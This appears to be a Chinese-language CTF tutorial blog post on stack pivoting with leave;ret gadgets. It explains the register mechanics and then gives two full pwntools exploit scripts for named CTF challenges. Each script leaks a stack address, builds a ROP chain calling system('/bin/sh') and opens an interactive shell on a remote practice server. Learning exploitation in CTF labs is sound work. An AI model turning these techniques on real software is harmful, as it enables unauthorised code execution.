PWN入门-栈迁移
基本原理
在正常栈溢出时,需要设计ebp和Return Address俩。ebp篡改为需要将栈迁移到的地址-4,Return Address需要篡改为某个含leave;retn;
的ROPgadget。
实际运行时,先运行原先的leave;retn;
:mov esp,ebp;
时esp指向被篡改的ebp;pop ebp;
将篡改的地址放入ebp,且esp上移,指向被篡改的Return Address;pop eip;
将ROPgadget的地址放入eip,篡改执行流。
在进入ROPgadget后,再次执行leave;retn;
:mov esp,ebp
时将迁移地址-4移入esp,栈顶指针被劫持,发生栈迁移;pop ebp;
时ebp仍为迁移地址-4,但esp拉高4字节,指向迁移地址;pop eip
时迁移地址移入eip,成功篡改执行流。
做题
[HDCTF 2023]KEEP ON
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context(log_level='debug',os='linux',arch='amd64') p=remote("node4.anna.nssctf.cn",28107) elf=ELF("./attachment") rop=ROP(elf)
p.recvuntil("please show me your name: \n") payload1=b'%16$p' p.send(payload1) p.recvuntil("hello,0x") old_rbp=int(p.recv(12),16)
stack_target=old_rbp-0x60-0x8 pop_rdi_ret_addr=p64(rop.find_gadget(['pop rdi','ret'])[0]) str_bin_sh_addr=p64(stack_target+0x8+0x18) system_addr=elf.plt["system"] str_bin_sh=b'/bin/sh\x00' payload2=flat([pop_rdi_ret_addr,str_bin_sh_addr,system_addr,str_bin_sh]) payload2=payload2.ljust(0x50,b'a') leave_ret_addr=p64(rop.find_gadget(["leave","ret"])[0]) payload2+=flat([stack_target,leave_ret_addr]) p.recvuntil("keep on !\n") p.sendline(payload2) p.interactive()
|
[CISCN 2019东南]PWN2
只能溢出8字节,覆盖ebp和返回地址。这里尝试在第一次输入带出leave后的下一个ebp地址,即main的ebp地址,动调发现main和vul的ebp差了0x10字节,vul的ebp与esp又差了0x28字节。其中leave
等于mov esp,ebp;pop ebp;
,retn
等于pop eip
。在vul最后的leave;retn;
时,篡改ebp位置,使ebp被pop后提高到原esp处在的低地址,esp自然下落,并赋值eip,开始第二次leave;retn;
。第二次时,esp被推到ebp相同位置,然后esp下落,ebp跑到aaaa填充当作地址处,eip进入``call _system;`地址,当然还得先垫一下。参数地址后面存放shll字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context(log_level='debug',os='linux',arch='i386')
p=remote("node5.anna.nssctf.cn",23604) elf=ELF("./attachment") rop=ROP(elf) stack_overflow1=cyclic(0x28) payload1=flat([stack_overflow1]) p.send(payload1) p.recvuntil(payload1) pre_ebp=u32(p.recv(4)) log.success(hex(pre_ebp)) ebp_padding=cyclic(0x4) ret_addr=p32(rop.find_gadget(["ret"])[0]) system_addr=p32(0x08048559) target_addr=pre_ebp-0x10-0x28 target_addr_with_offset=p32(target_addr+16) bin_sh_str=b"/bin/sh\x00" payload2=flat([ebp_padding,ret_addr,system_addr,target_addr_with_offset,bin_sh_str]) payload2=payload2.ljust(0x28,b'a') target_addr_bytes=p32(target_addr) leave_ret_addr=p32(0x08048562) log.success(leave_ret_addr) payload2+=flat([target_addr_bytes,leave_ret_addr]) p.send(payload2) p.interactive()
|